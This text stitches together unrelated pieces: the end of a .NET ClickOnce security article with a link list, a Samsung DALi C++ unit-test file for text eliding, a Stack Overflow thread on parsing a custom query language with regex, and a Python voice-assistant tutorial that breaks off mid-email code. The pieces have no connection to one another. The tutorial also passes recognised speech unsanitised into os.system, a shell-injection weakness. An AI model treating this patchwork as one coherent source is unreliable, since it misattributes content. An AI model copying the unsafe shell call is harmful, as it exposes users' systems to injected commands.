environment, such as the LocalInternet zone, that want to perform transactional work against multiple resources. None of the predefined partial trust zones grant the DistributedTransaction permission. You will have to grant that permission using a custom code group, or manually list that permission in the application's ClickOnce deployment manifest. Another solution altogether is to introduce a middle tier between the client application and the resources, and have the middle tier encapsulate accessing these resources transitionally. Other   •  Programming .NET Components : Principal-Based Security •  Programming .NET Components : Visual Studio 2005 and Security •  Multifaceted Tests : Modifying Host Headers & Brute-Force Guessing Usernames and Passwords •  Multifaceted Tests : Bypassing Field Length Restrictions & Attempting Cross-Site Tracing Interactively •  Multifaceted Tests : Making HTTP Requests Using XSS & Attempting DOM-Based XSS Interactively •  Multifaceted Tests : Stealing Cookies Using XSS & Creating Overlays Using XSS •  IIS 7.0 : Securing Configuration - Controlling Configuration Delegation •  IIS 7.0 : Securing Configuration - Securing Sensitive Configuration •  IIS 7.0 : Securing Configuration - Restricting Access to Configuration •  Web Security Testing : Changing Sessions to Evade Restrictions & Impersonating Another User •   Top 10 - Microsoft Visio 2013 : Adding Structure to Your Diagrams - Finding containers and lists in Visio (part 2) - Wireframes,Legends - Microsoft Visio 2013 : Adding Structure to Your Diagrams - Finding containers and lists in Visio (part 1) - Swimlanes - Microsoft Visio 2013 : Adding Structure to Your Diagrams - Formatting and sizing lists - Microsoft Visio 2013 : Adding Structure to Your Diagrams - Adding shapes to lists - Microsoft Visio 2013 : Adding Structure to Your Diagrams - Sizing containers - Microsoft Access 2010 : Control Properties and Why to Use Them (part 3) - The Other Properties of a Control - Microsoft Access 2010 : Control Properties and Why to Use Them (part 2) - The Data Properties of a Control - Microsoft Access 2010 : Control Properties and Why to Use Them (part 1) - The Format Properties of a Control - Microsoft Access 2010 : Form Properties and Why Should You Use Them - Working with the Properties Window - Microsoft Visio 2013 : Using the Organization Chart Wizard with new data REVIEW - First look: Apple Watch - 3 Tips for Maintaining Your Cell Phone Battery (part 1) - 3 Tips for Maintaining Your Cell Phone Battery (part 2) programming4us programming4us programming4us     programming4us  
__label__pos
0.682977
/* * Copyright (c) 2019 Samsung Electronics Co., Ltd. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ #include #include #include #include #include #include #include #include #include #include using namespace Dali; using namespace Toolkit; using namespace Text; namespace { const std::string DEFAULT_FONT_DIR( "/resources/fonts" ); const Size CONTROL_SIZE( 200.f, 400.f ); const Size CONTROL_SMALL_SIZE( 50.f, 100.f ); const char* LOREM_IPSUM = "Lorem ipsum dolor sit amet, aeque definiebas ea mei, posse iracundia ne cum.\n" "Usu ne nisl maiorum iudicabit, veniam epicurei oporteat eos an.\n" "Ne nec nulla regione albucius, mea doctus delenit ad!\n" "Et everti blandit adversarium mei, eam porro neglegentur suscipiantur an.\n" "Quidam corpora at duo. An eos possim scripserit?\n\n" "Aťqui dicant sěnťenťíae aň vel!\n" "Vis viris médiocrem elaboraret ét, verear civibus moderatius ex duo!\n" "Án veri laborě iňtěgré quó, mei aď poššit lobortis, mei prompťa čonsťitůťó eů.\n" "Aliquip sanctůs delicáta quí ěá, et natum aliquam est?\n" "Asšúm sapěret usu ůť.\n" "Síť ut apeirián laboramúš percipitur, sůas hařum ín éos?\n"; const Vector2 LOREM_SCROLL_POSITION( 0.f, -284.f ); const Length LOREM_NUMBER_OF_LINES = 36u; const Length LOREM_NUMBER_OF_LINES_ELIDED = 21u; const Length LOREM_NUMBER_OF_GLYPHS = 632; const Length LOREM_NUMBER_OF_GLYPHS_ELIDED = 373u; // The expected layout size for UtcDaliTextViewModelGetLayoutSize const Size LAYOUT_SIZE( 182.f, 45.f ); // The expected color indices for UtcDaliTextViewModelGetColors const ColorIndex COLOR_INDICES[] = { 0u, 0u, 0u, 0u, 0u, 0u, 1u, 1u, 1u, 2u, 2u, 2u, 2u, 2u, 1u, 1u, 1u, 1u, 1u, 3u, 1u, 1u, 1u, 0u, 0u, 0u, 0u }; const Length NUMBER_OF_COLORS = 3u; const Vector4 COLORS[] = { Color::RED, Color::BLUE, Color::GREEN }; struct ElideData { std::string description; std::string text; Vector2 size; unsigned int numberOfLines; unsigned int numberOfGlyphs; float* positions; }; bool ElideTest( const ElideData& data ) { std::cout << " testing : " << data.description << std::endl; // Load some fonts. TextAbstraction::FontClient fontClient = TextAbstraction::FontClient::Get(); fontClient.SetDpi( 93u, 93u ); char* pathNamePtr = get_current_dir_name(); const std::string pathName( pathNamePtr ); free( pathNamePtr ); fontClient.GetFontId( pathName + DEFAULT_FONT_DIR + "/tizen/TizenSansRegular.ttf" ); fontClient.GetFontId( pathName + DEFAULT_FONT_DIR + "/tizen/TizenSansHebrewRegular.ttf" ); fontClient.GetFontId( pathName + DEFAULT_FONT_DIR + "/tizen/TizenSansArabicRegular.ttf" ); // Creates a text controller. ControllerPtr controller = Controller::New(); // Tests the rendering controller has been created. TypesetterPtr typesetter = Typesetter::New( controller->GetTextModel() ); DALI_TEST_CHECK( typesetter ); // Tests the view model has been created. ViewModel* model = typesetter->GetViewModel(); DALI_TEST_CHECK( NULL != model ); // Configures the text controller similarly to the text-label. ConfigureTextLabel( controller ); // Sets a text and relais-out. controller->SetMarkupProcessorEnabled( true ); controller->SetText( data.text ); controller->Relayout( data.size ); // Elide the glyphs. model->ElideGlyphs(); if( data.numberOfLines != model->GetNumberOfLines() ) { std::cout << " different number of lines : " << model->GetNumberOfLines() << ", expected : " << data.numberOfLines << std::endl; return false; } if( data.numberOfGlyphs != model->GetNumberOfGlyphs() ) { std::cout << " different number of glyphs : " << model->GetNumberOfGlyphs() << ", expected : " << data.numberOfGlyphs << std::endl; return false; } const Vector2* const layoutBuffer = model->GetLayout(); const Length numberOfLines = model->GetNumberOfLines(); if( numberOfLines != 0u ) { const LineRun& lastLine = *( model->GetLines() + numberOfLines - 1u ); const Length numberOfLastLineGlyphs = data.numberOfGlyphs - lastLine.glyphRun.glyphIndex; std::cout << " last line alignment offset : " << floor(lastLine.alignmentOffset) << std::endl; for( unsigned int index = 0u; index < numberOfLastLineGlyphs; ++index ) { if( *( data.positions + index ) != floor(lastLine.alignmentOffset + ( *( layoutBuffer + lastLine.glyphRun.glyphIndex + index ) ).x ) ) { std::cout << " different layout :"; for( unsigned int i = 0; i < numberOfLastLineGlyphs; ++i ) { std::cout << " " << floor( lastLine.alignmentOffset + ( *( layoutBuffer + lastLine.glyphRun.glyphIndex + i ) ).x ); } std::cout << std::endl; std::cout << " expected :"; for( unsigned int i = 0; i < numberOfLastLineGlyphs; ++i ) { std::cout << " " << *( data.positions + i ); } std::cout << std::endl; return false; } } } return true; } } // namespace int UtcDaliTextViewModel(void) { tet_infoline(" UtcDaliTextViewModel"); ToolkitTestApplication application; // Creates a text controller. ControllerPtr controller = Controller::New(); // Tests the rendering controller has been created. TypesetterPtr typesetter = Typesetter::New( controller->GetTextModel() ); DALI_TEST_CHECK( typesetter ); // Tests the view model has been created. ViewModel* model = typesetter->GetViewModel(); DALI_TEST_CHECK( NULL != model ); tet_result(TET_PASS); END_TEST; } int UtcDaliTextViewModelGetControlSize(void) { tet_infoline(" UtcDaliTextViewModelGetControlSize"); ToolkitTestApplication application; // Creates a text controller. ControllerPtr controller = Controller::New(); // Tests the rendering controller has been created. TypesetterPtr typesetter = Typesetter::New( controller->GetTextModel() ); DALI_TEST_CHECK( typesetter ); // Tests the view model has been created. ViewModel* model = typesetter->GetViewModel(); DALI_TEST_CHECK( NULL != model ); // Configures the text controller similarly to the text-editor. ConfigureTextEditor( controller ); // The text has not been laid-out. The stored control's size should be zero. DALI_TEST_EQUALS( Size::ZERO, model->GetControlSize(), TEST_LOCATION ); // Sets a text and relais-out. controller->SetText( "Hello world" ); controller->Relayout( CONTROL_SIZE ); // The control's size should be stored now. DALI_TEST_EQUALS( CONTROL_SIZE, model->GetControlSize(), TEST_LOCATION ); tet_result(TET_PASS); END_TEST; } int UtcDaliTextViewModelGetLayoutSize(void) { tet_infoline(" UtcDaliTextViewModelGetLayoutSize"); ToolkitTestApplication application; // Load some fonts. TextAbstraction::FontClient fontClient = TextAbstraction::FontClient::Get(); fontClient.SetDpi( 93u, 93u ); char* pathNamePtr = get_current_dir_name(); const std::string pathName( pathNamePtr ); free( pathNamePtr ); fontClient.GetFontId( pathName + DEFAULT_FONT_DIR + "/tizen/TizenSansRegular.ttf" ); // Creates a text controller. ControllerPtr controller = Controller::New(); // Tests the rendering controller has been created. TypesetterPtr typesetter = Typesetter::New( controller->GetTextModel() ); DALI_TEST_CHECK( typesetter ); // Tests the view model has been created. ViewModel* model = typesetter->GetViewModel(); DALI_TEST_CHECK( NULL != model ); // Configures the text controller similarly to the text-editor. ConfigureTextEditor( controller ); // The text has not been laid-out. The stored control's size should be zero. DALI_TEST_EQUALS( Size::ZERO, model->GetLayoutSize(), TEST_LOCATION ); // Sets a text and relais-out. controller->SetMarkupProcessorEnabled( true ); controller->SetText( "Lorem ipsum dolor sit amet, aeque definiebas ea mei, posse iracundia ne cum." ); controller->Relayout( CONTROL_SIZE ); // The control's size should be stored now. DALI_TEST_EQUALS( LAYOUT_SIZE, model->GetLayoutSize(), TEST_LOCATION ); tet_result(TET_PASS); END_TEST; } int UtcDaliTextViewModelGetScrollPosition(void) { tet_infoline(" UtcDaliTextViewModelGetScrollPosition"); ToolkitTestApplication application; // Creates a text controller. ControllerPtr controller = Controller::New(); // Tests the rendering controller has been created. TypesetterPtr typesetter = Typesetter::New( controller->GetTextModel() ); DALI_TEST_CHECK( typesetter ); // Tests the view model has been created. ViewModel* model = typesetter->GetViewModel(); DALI_TEST_CHECK( NULL != model ); // Configures the text controller similarly to the text-editor. ConfigureTextEditor( controller ); // No text has been set. The scroll position should be zero. DALI_TEST_EQUALS( Vector2::ZERO, model->GetScrollPosition(), TEST_LOCATION ); // Gains the keyboard focus, sets a big text and relais-out. controller->KeyboardFocusGainEvent(); controller->SetText( LOREM_IPSUM ); controller->Relayout( CONTROL_SIZE ); // The text should be scrolled to the end. DALI_TEST_EQUALS( LOREM_SCROLL_POSITION, model->GetScrollPosition(), TEST_LOCATION ); tet_result(TET_PASS); END_TEST; } int UtcDaliTextViewModelGetAlignment(void) { tet_infoline(" UtcDaliTextViewModelGetAlignment"); ToolkitTestApplication application; // Creates a text controller. ControllerPtr controller = Controller::New(); // Tests the rendering controller has been created. TypesetterPtr typesetter = Typesetter::New( controller->GetTextModel() ); DALI_TEST_CHECK( typesetter ); // Tests the view model has been created. ViewModel* model = typesetter->GetViewModel(); DALI_TEST_CHECK( NULL != model ); DALI_TEST_EQUALS( Text::HorizontalAlignment::BEGIN, model->GetHorizontalAlignment(), TEST_LOCATION ); DALI_TEST_EQUALS( Text::VerticalAlignment::TOP, model->GetVerticalAlignment(), TEST_LOCATION ); controller->SetHorizontalAlignment( Text::HorizontalAlignment::CENTER ); controller->SetVerticalAlignment( Text::VerticalAlignment::CENTER ); DALI_TEST_EQUALS( Text::HorizontalAlignment::CENTER, model->GetHorizontalAlignment(), TEST_LOCATION ); DALI_TEST_EQUALS( Text::VerticalAlignment::CENTER, model->GetVerticalAlignment(), TEST_LOCATION ); tet_result(TET_PASS); END_TEST; } int UtcDaliTextViewModelIsTextElideEnabled(void) { tet_infoline(" UtcDaliTextViewModelIsTextElideEnabled"); ToolkitTestApplication application; // Creates a text controller. ControllerPtr controller = Controller::New(); // Tests the rendering controller has been created. TypesetterPtr typesetter = Typesetter::New( controller->GetTextModel() ); DALI_TEST_CHECK( typesetter ); // Tests the view model has been created. ViewModel* model = typesetter->GetViewModel(); DALI_TEST_CHECK( NULL != model ); // Configures the text controller similarly to the text-editor. ConfigureTextEditor( controller ); // Elide text should be disabled. DALI_TEST_CHECK( !model->IsTextElideEnabled() ); // Configures the text controller similarly to the text-label. ConfigureTextLabel( controller ); // Elide text should be enabled. DALI_TEST_CHECK( model->IsTextElideEnabled() ); tet_result(TET_PASS); END_TEST; } int UtcDaliTextViewModelGetLines(void) { tet_infoline(" UtcDaliTextViewModelGetLines"); ToolkitTestApplication application; // Creates a text controller. ControllerPtr controller = Controller::New(); // Tests the rendering controller has been created. TypesetterPtr typesetter = Typesetter::New( controller->GetTextModel() ); DALI_TEST_CHECK( typesetter ); // Tests the view model has been created. ViewModel* model = typesetter->GetViewModel(); DALI_TEST_CHECK( NULL != model ); // Configures the text controller similarly to the text-editor. ConfigureTextEditor( controller ); // The number of lines should be zero. DALI_TEST_EQUALS( 0u, model->GetNumberOfLines(), TEST_LOCATION ); DALI_TEST_CHECK( NULL == model->GetLines() ); // Sets a text and relais-out. controller->SetText( LOREM_IPSUM ); controller->Relayout( CONTROL_SIZE ); DALI_TEST_EQUALS( LOREM_NUMBER_OF_LINES, model->GetNumberOfLines(), TEST_LOCATION ); DALI_TEST_CHECK( NULL != model->GetLines() ); // Configures the text controller similarly to the text-label. ConfigureTextLabel( controller ); // Relais-out for the text-label configuration. controller->Relayout( Size( 100.f, 100.f) ); // Change the size to force a relayout. controller->Relayout( CONTROL_SIZE ); DALI_TEST_EQUALS( LOREM_NUMBER_OF_LINES_ELIDED, model->GetNumberOfLines(), TEST_LOCATION ); DALI_TEST_CHECK( NULL != model->GetLines() ); tet_result(TET_PASS); END_TEST; } int UtcDaliTextViewModelGetGlyphsLayout(void) { tet_infoline(" UtcDaliTextViewModelGetGlyphsLayout"); ToolkitTestApplication application; // Creates a text controller. ControllerPtr controller = Controller::New(); // Tests the rendering controller has been created. TypesetterPtr typesetter = Typesetter::New( controller->GetTextModel() ); DALI_TEST_CHECK( typesetter ); // Tests the view model has been created. ViewModel* model = typesetter->GetViewModel(); DALI_TEST_CHECK( NULL != model ); // Configures the text controller similarly to the text-editor. ConfigureTextEditor( controller ); // The number of glyphs should be zero. DALI_TEST_EQUALS( 0u, model->GetNumberOfGlyphs(), TEST_LOCATION ); DALI_TEST_CHECK( NULL == model->GetGlyphs() ); DALI_TEST_CHECK( NULL == model->GetLayout() ); // Sets a text and relais-out. controller->SetText( LOREM_IPSUM ); controller->Relayout( CONTROL_SIZE ); DALI_TEST_EQUALS( LOREM_NUMBER_OF_GLYPHS, model->GetNumberOfGlyphs(), TEST_LOCATION ); DALI_TEST_CHECK( NULL != model->GetGlyphs() ); DALI_TEST_CHECK( NULL != model->GetLayout() ); // Configures the text controller similarly to the text-label. ConfigureTextLabel( controller ); // Relais-out for the text-label configuration. controller->Relayout( Size( 100.f, 100.f) ); // Change the size to force a relayout. controller->Relayout( CONTROL_SIZE ); // Elide the glyphs. model->ElideGlyphs(); DALI_TEST_EQUALS( LOREM_NUMBER_OF_GLYPHS_ELIDED, model->GetNumberOfGlyphs(), TEST_LOCATION ); DALI_TEST_CHECK( NULL != model->GetGlyphs() ); DALI_TEST_CHECK( NULL != model->GetLayout() ); tet_result(TET_PASS); END_TEST; } int UtcDaliTextViewModelGetColors(void) { tet_infoline(" UtcDaliTextViewModelGetColors"); ToolkitTestApplication application; // Creates a text controller. ControllerPtr controller = Controller::New(); // Tests the rendering controller has been created. TypesetterPtr typesetter = Typesetter::New( controller->GetTextModel() ); DALI_TEST_CHECK( typesetter ); // Tests the view model has been created. ViewModel* model = typesetter->GetViewModel(); DALI_TEST_CHECK( NULL != model ); // Configures the text controller similarly to the text-label. ConfigureTextLabel( controller ); // Sets a text and relais-out. controller->SetMarkupProcessorEnabled( true ); controller->SetText( "Lorem ipsum dolor sit amet." ); controller->Relayout( CONTROL_SIZE ); DALI_TEST_EQUALS( Color::BLACK, model->GetDefaultColor(), TEST_LOCATION ); const ColorIndex* const colorIndicesBuffer = model->GetColorIndices(); const Length numberOfGlyphs = model->GetNumberOfGlyphs(); for( ColorIndex index = 0u; index < numberOfGlyphs; ++index ) { DALI_TEST_EQUALS( COLOR_INDICES[index], *( colorIndicesBuffer + index ), TEST_LOCATION ); } const Vector4* const colors = model->GetColors(); for( unsigned int index = 0u; index < NUMBER_OF_COLORS; ++index ) { DALI_TEST_EQUALS( COLORS[index], *( colors + index ), TEST_LOCATION ); } tet_result(TET_PASS); END_TEST; } int UtcDaliTextViewModelElideText01(void) { tet_infoline(" UtcDaliTextViewModelElideText01"); ToolkitTestApplication application; // Creates a text controller. ControllerPtr controller = Controller::New(); // Tests the rendering controller has been created. TypesetterPtr typesetter = Typesetter::New( controller->GetTextModel() ); DALI_TEST_CHECK( typesetter ); // Tests the view model has been created. ViewModel* model = typesetter->GetViewModel(); DALI_TEST_CHECK( NULL != model ); // Configures the text controller similarly to the text-editor. ConfigureTextEditor( controller ); // The number of glyphs should be zero. DALI_TEST_EQUALS( 0u, model->GetNumberOfGlyphs(), TEST_LOCATION ); DALI_TEST_EQUALS( 0u, model->GetNumberOfLines(), TEST_LOCATION ); DALI_TEST_CHECK( NULL == model->GetGlyphs() ); DALI_TEST_CHECK( NULL == model->GetLayout() ); // Sets a text and relais-out. controller->SetText( LOREM_IPSUM ); controller->Relayout( CONTROL_SIZE ); // Keep the pointers to the glyphs and layout. // As the text is not elided with this configuration, the pointers shoud be the same after calling the ElideGlyphs() method. const GlyphInfo* const glyphsModel = model->GetGlyphs(); const Vector2* layoutsModel = model->GetLayout(); // Elide the glyphs. Text shouldn't be elided with this configuration. model->ElideGlyphs(); DALI_TEST_CHECK( glyphsModel == model->GetGlyphs() ); DALI_TEST_CHECK( layoutsModel == model->GetLayout() ); DALI_TEST_EQUALS( LOREM_NUMBER_OF_GLYPHS, model->GetNumberOfGlyphs(), TEST_LOCATION ); DALI_TEST_EQUALS( LOREM_NUMBER_OF_LINES, model->GetNumberOfLines(), TEST_LOCATION ); // Configures the text controller similarly to the text-label. ConfigureTextLabel( controller ); // Clear the text and relais-out. controller->SetText( "" ); controller->Relayout( CONTROL_SIZE ); DALI_TEST_EQUALS( 0u, model->GetNumberOfGlyphs(), TEST_LOCATION ); DALI_TEST_EQUALS( 0u, model->GetNumberOfLines(), TEST_LOCATION ); // Elide the glyphs. Should not add the ellipsis glyph. model->ElideGlyphs(); DALI_TEST_EQUALS( 0u, model->GetNumberOfGlyphs(), TEST_LOCATION ); // Sets a text that doesn't need to be elided. controller->SetText( "Hello\n" ); controller->Relayout( CONTROL_SIZE ); // Elide the glyphs. model->ElideGlyphs(); DALI_TEST_EQUALS( 6u, model->GetNumberOfGlyphs(), TEST_LOCATION ); DALI_TEST_EQUALS( 2u, model->GetNumberOfLines(), TEST_LOCATION ); // Sets a text and relais-out. controller->SetText( LOREM_IPSUM ); controller->Relayout( CONTROL_SIZE ); // Elide the glyphs. model->ElideGlyphs(); DALI_TEST_EQUALS( LOREM_NUMBER_OF_GLYPHS_ELIDED, model->GetNumberOfGlyphs(), TEST_LOCATION ); DALI_TEST_EQUALS( LOREM_NUMBER_OF_LINES_ELIDED, model->GetNumberOfLines(), TEST_LOCATION ); const GlyphInfo* const glyphs = model->GetGlyphs(); const Vector2* layouts = model->GetLayout(); DALI_TEST_CHECK( NULL != glyphs ); DALI_TEST_CHECK( NULL != layouts ); tet_result(TET_PASS); END_TEST; } int UtcDaliTextViewModelElideText02(void) { tet_infoline(" UtcDaliTextViewModelElideText02"); Size textSize00( 100.f, 100.f ); Size textSize01( 80.f, 100.f ); float positions01[] = { 0.f, 8.f, 16.f, 26.f, 34.f, 43.f, 47.f, 58.f, 64.0f }; Size textSize02( 80.f, 100.f ); float positions02[] = { 69.f, 63.f, 58.f, 50.f, 45.f, 41.f, 32.f, 23.f, 9.f }; Size textSize03( 80.f, 100.f ); float positions03[] = { 54.f, 47.f, 44.f, 41.f, 36.f, 29.f, 25.f, 20.f, 13.f, 8.f, 4.f, 6.f }; Size textSize04( 80.f, 10.f ); float positions04[] = { 2.f }; struct ElideData data[] = { { "void text", "", textSize00, 0u, 0u, NULL }, { "Latin script", "Lorem ipsum dolor sit amet, aeque definiebas ea mei, posse iracundia ne cum.", textSize01, 5u, 36u, positions01 }, { "Hebrew script", "צעד על לשון המלצת לאחרונה, אם לכאן שנורו סרבול מדע, קרן דת שפות להפוך.", textSize02, 5u, 44u, positions02 }, { "Arabic script", "عل النفط ديسمبر الإمداد بال, بين وترك شعار هو. لمّ من المبرمة النفط بالسيطرة, أم يتم تحرّك وبغطاء, عدم في لإعادة وإقامة رجوعهم.", textSize03, 5u, 62u, positions03 }, { "Small control size, no line fits.", "Lorem ipsum dolor sit amet, aeque definiebas ea mei, posse iracundia ne cum.", textSize04, 1u, 1u, positions04 } }; const unsigned int numberOfTests = 5u; for( unsigned int index = 0u; index < numberOfTests; ++index ) { ToolkitTestApplication application; if( !ElideTest( data[index] ) ) { tet_result(TET_FAIL); } } tet_result(TET_PASS); END_TEST; }
__label__pos
0.9784
Take the 2-minute tour × Stack Overflow is a question and answer site for professional and enthusiast programmers. It's 100% free, no registration required. Recently our team want to build up our own query language, but we have a problem about regexp If we have a query below select A where B skip C limit D the keyword "where", "skip" and "limit" can have 1 or 0 which means we also can have a query like select A where B skip C select A skip C limit D select A limit D and the point is that we were wondering if it is possible to define a "single" regexp that can match this query and capture A, B, C and D? here is how we do for now... dql_parser.parse = function(str) { var reg_arr = [] if(str.toLowerCase().indexOf('select') !== -1) { var reg = new RegExp(/select\s+(.*?)(limit|where|skip)/i) var exe = reg.exec(str) if(exe !== null) { reg_arr.push('fields=' + exe[1]) }else { var reg = new RegExp(/select\s+(.*)?/i) var exe = reg.exec(str) reg_arr.push('fields=' + exe[1]) } } if(str.toLowerCase().indexOf('where') !== -1) { var reg = new RegExp(/where\s+(.*?)(select|limit|skip)/i) var exe = reg.exec(str) if(exe !== null) { reg_arr.push('selector=' + exe[1]) }else { var reg = new RegExp(/where\s+(.*)?/i) var exe = reg.exec(str) reg_arr.push('selector=' + exe[1]) } } if(str.toLowerCase().indexOf('skip') !== -1) { var reg = new RegExp(/skip\s+(.*?)(select|limit|where)/i) var exe = reg.exec(str) if(exe !== null) { reg_arr.push('skip=' + exe[1]) }else { var reg = new RegExp(/skip\s+(.*)?/i) var exe = reg.exec(str) reg_arr.push('skip=' + exe[1]) } } if(str.toLowerCase().indexOf('limit') !== -1){ var reg = new RegExp(/limit\s+(.*?)(select|where|skip)/i) var exe = reg.exec(str) if(exe !== null) { reg_arr.push('limit=' + exe[1]) }else { var reg = new RegExp(/limit\s+(.*)?/i) var exe = reg.exec(str) reg_arr.push('limit=' + exe[1]) } } return reg_arr; } Any suggestion is appreciated. share|improve this question      So let me get this right you want to write a parser in Javascript? Do you hate yourself so much that you want to endure that pain? –  Ed Heal Feb 22 at 17:24      Many people consider regex less readable than explicit parsing. Are you sure you want to shorten your code? –  Jan Dvorak Feb 22 at 17:25 3 Answers 3 up vote 3 down vote accepted This is not a direct answer to your question, but it might help. I suggest you to use PEG: a parser generator. You'll define your language in something that looks like BNF, and then it will generate a parser for you. It's a very reliable tool, far more powerfull than regexp, and very easy too use, especially for simple DSL like your. share|improve this answer Long answer short : You want to "Design your own querying language" and decided to parse it using RegEx??? Well... NO. Writing a 'real' parser is the only way to do it, and if you're not up for the challenge, maybe you should just quit the idea whatsoever. If you really want to do it, then start by studying Flex and Bison (Lex/Yacc, I honestly don't know what they call them any more). That's the real deal (at least that's my prefered... toolkit for the job, and if you "invest" in it, it'll definitely pay in the long run.) Good luck! ;-) share|improve this answer But if you really, really want such a misery on your days: (select\s+(\w*))\s+(where\s+(\w*))?\s*(skip\s+(\w*))?\s*(limit\s+(\w*))? will give you A, B C and D. Good luck! share|improve this answer      Don't get me wrong: If you go any further that just parsing this simple kind of line, regexp is fine with me. But I agrre qith the other in that "designing your own language" with regexp is definitely a bad idea. In this case I would go with PEG too. –  user1390405 Mar 13 at 15:33 Your Answer   discard By posting your answer, you agree to the privacy policy and terms of service. Not the answer you're looking for? Browse other questions tagged or ask your own question.
__label__pos
0.97361
top of page • Writer's pictureNagesh Singh Chauhan Build your first Voice Assistant A step by step tutorial on building a voice-based assistant using python Nowadays, it isn’t surprising to hear someone speak to someone that isn’t there. We ask Alexa for the weather and to turn the temperature down on the thermostat. Then, we ask Siri what our schedule for the day is and to call people. We are connected now more than ever using our voice and voice interface technology. I can’t imagine doing things manually anymore! It’s truly the future. Forbes Introduction Who doesn't want to have the luxury to own an assistant who always listens for your call, anticipates your every need, and takes action when necessary? That luxury is now available thanks to artificial intelligence-based voice assistants. Voice assistants come in somewhat small packages and can perform a variety of actions after hearing your command. They can turn on lights, answer questions, play music, place online orders and do all kinds of AI-based stuff. Voice assistants are not to be confused with virtual assistants, which are people who work remotely and can, therefore, handle all kinds of tasks. Rather, voice assistants are technology based. As voice assistants become more robust, their utility in both the personal and business realms will grow as well. What is a Voice Assistant? A voice assistant or intelligent personal assistant is a software agent that can perform tasks or services for an individual based on verbal commands i.e. by interpreting human speech and respond via synthesized voices. Users can ask their assistants’ questions, control home automation devices, and media playback via voice, and manage other basic tasks such as email, to-do lists, open or close any application etc with verbal commands. Let me give you the example of Braina (Brain Artificial) which is an intelligent personal assistant, human language interface, automation and voice recognition software for Windows PC. Braina is a multi-functional AI software that allows you to interact with your computer using voice commands in most of the languages of the world. Braina also allows you to accurately convert speech to text in over 100 different languages of the world. History of Voice Assistants In recent times, Voice assistants got the major platform after Apple integrated the most astonishing Virtual Assistant — Siri which is officially a part of Apple Inc. But the timeline of greatest evolution began with the year 1962 event at the Seattle World Fair where IBM displayed a unique apparatus called Shoebox. It was the actual size of a shoebox and could perform scientific functions and can perceive 16 words and also speak them in the human recognizable voice with 0 to 9 numerical digits. During the period of the 1970s, researchers at Carnegie Mellon University in Pittsburgh, Pennsylvania — with the considerable help of the U.S Department of Defence and its Defence Advanced Research Projects Agency (DARPA) — made Harpy. It could understand almost 1,000 words, which is approximately the vocabulary of a three-year-old child. Big organizations like Apple and IBM sooner in the 90s started to make things that utilized voice acknowledgment. In 1993, Macintosh began to building speech recognition with its Macintosh PCs with PlainTalk. In April 1997, Dragon NaturallySpeaking was the first constant dictation product which could comprehend around 100 words and transform it into readable content. Having said that, how cool it would be to build a simple voice-based desktop/laptop assistant that has the capability to:- 1. Open the subreddit in the browser. 2. Open any website in the browser. 3. Send an email to your contacts. 4. Launch any system application. 5. Tells you the current weather and temperature of almost any city 6. Tells you the current time. 7. Greetings 8. Play you a song on VLC media player(of course you need to have VLC media player installed in your laptop/desktop) 9. Change desktop wallpaper. 10. Tells you latest news feeds. 11. Tells you about almost anything you ask. So here in this article, we are going to build a voice-based application which is capable of doing all the above-mentioned tasks. But first, check out this video below which I made while I was interacting with the desktop voice assistant and I call her Sofia. I hope you guys have liked the above video in which I was interacting with Sofia. Now let’s start building this cool thing… Dependencies and requirements : System requirements: Python 2.7, Spyder IDE, MacOS Mojave(version 10.14) Install all these python libraries : pip install SpeechRecognition pip install beautifulsoup4 pip install vlc pip install youtube-dl pip install pyowm pip install wikipedia Let’s start building our desktop voice assistant using python Start by importing all the required libraries : import speech_recognition as sr import os import sys import re import webbrowser import smtplib import requests import subprocess from pyowm import OWM import youtube_dl import vlc import urllib import urllib2 import json from bs4 import BeautifulSoup as soup from urllib2 import urlopen import wikipedia import random from time import strftime For our voice-assistant to perform all the above-discussed features, we have to code the logic of each of them in one method. So our first step is to create the method which will interpret user voice response. def myCommand(): r = sr.Recognizer() with sr.Microphone() as source: print('Say something...') r.pause_threshold = 1 r.adjust_for_ambient_noise(source, duration=1) audio = r.listen(source) try: command = r.recognize_google(audio).lower() print('You said: ' + command + '\n') #loop back to continue to listen for commands if unrecognizable speech is received except sr.UnknownValueError: print('....') command = myCommand(); return command Next, create a method that will convert text to speech. def sofiaResponse(audio): print(audio) for line in audio.splitlines(): os.system("say " + audio) Now create a loop to continue executing multiple commands. Inside the method assistant() passing user command(myCommand()) as parameters. while True: assistant(myCommand()) Our next step is to create multiple if statements corresponding to each of the features. So let us see how to create these small modules inside if statement for each command. 1. Open the subreddit Reddit in the browser. The user will give any command to open any subreddit from Reddit and the command should be “Hey Sofia! Can you please open Reddit subreddit_name”. only the italic bold phrase should be used as it is. You can use any kind of prefix, just take care of the italic bold phrase. How it works : If you have said the phrase open reddit in your command then it will search for subreddit name in the user command using re.search(). The subreddit will be searched using www.reddit.com and will get opened in the browser using pythons Webbrowser module.The Webbrowser module provides a high-level interface to allow displaying Web-based documents to users. if 'open reddit' in command: reg_ex = re.search('open reddit (.*)', command) url = 'https://www.reddit.com/' if reg_ex: subreddit = reg_ex.group(1) url = url + 'r/' + subreddit webbrowser.open(url) sofiaResponse('The Reddit content has been opened for you Sir.') So, the above code will open your desired Reddit in your default browser. 2. Open any website in the browser. You can open any website just be saying “open website.com” or “open website.org”. For example: “Please open facebook.com” or “Hey, can you open linkedin.com” like this you can ask Sofia to open any website for you. How it works : If you have said the word open in your command then it will search for website name in the user command using re.search(). Next, it will append the website name to https://www. and using webbrowser module the complete URL gets opened in the browser. elif 'open' in command: reg_ex = re.search('open (.+)', command) if reg_ex: domain = reg_ex.group(1) print(domain) url = 'https://www.' + domain webbrowser.open(url) sofiaResponse('The website you have requested has been opened for you Sir.') else: pass 3. Send Email. You can also ask your desktop assistant to send the email. How it works : If you have said the word email in your command then the bot will ask for receipient, If my response is rajat, the bot will use pthons smtplib library. The smtplib module defines an SMTP client session object that can be used to send mail to any Internet machine with an SMTP or ESMTP listener daemon. Sending mail is done with Python’s smtplib using an SMTP server. First it will initaite gmail SMTP using smtplib.SMTP(), then identify the server using ehlo() function, then encypting the session starttls(), then login to your mailbox using login(), then sending the message using sendmail(). elif 'email' in command: sofiaResponse('Who is the recipient?') recipient = myCommand()if 'rajat' in recipient: sofiaResponse('What should I say to him?') content = myCommand() mail = smtplib.SMTP('smtp.gmail.com', 587) 